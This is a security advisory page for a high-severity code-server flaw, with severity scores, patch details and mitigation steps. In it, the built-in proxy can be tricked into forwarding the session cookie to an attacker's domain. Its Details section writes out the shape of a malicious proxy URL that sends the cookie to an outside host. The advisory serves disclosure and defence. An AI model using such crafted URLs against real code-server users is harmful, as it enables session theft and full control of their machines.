code-server's session cookie can be extracted by having user visit specially crafted proxy URLGHSA-p483-wpfp-42cj
HIGHFix: coder/code-server@47d6d3aGHSA-p483-wpfp-42cj is a high-severity (CVSS 8.3) CWE-441 vulnerability in code-server. EPSS puts its 30-day exploitation probability at 56.3% (99th percentile). A fix is available for code-server — see the affected versions and patch details below.
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-p483-wpfp-42cj.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
code-servernpmDescription
Summary
A maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token.
Details
Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL https://<code-server>/proxy/[email protected]/path would be proxied to [email protected]/path where the attacker could exfiltrate a user's session token.
Impact
Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy.
Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies.
With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.
Patches
Patched versions are from v4.99.4 onward.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | code-server | all versions | 4.99.4npm install code-server@4.99.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code-server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update code-server to 4.99.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-p483-wpfp-42cj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-p483-wpfp-42cj in your dependencies?
Find it across npm, including transitive dependencies.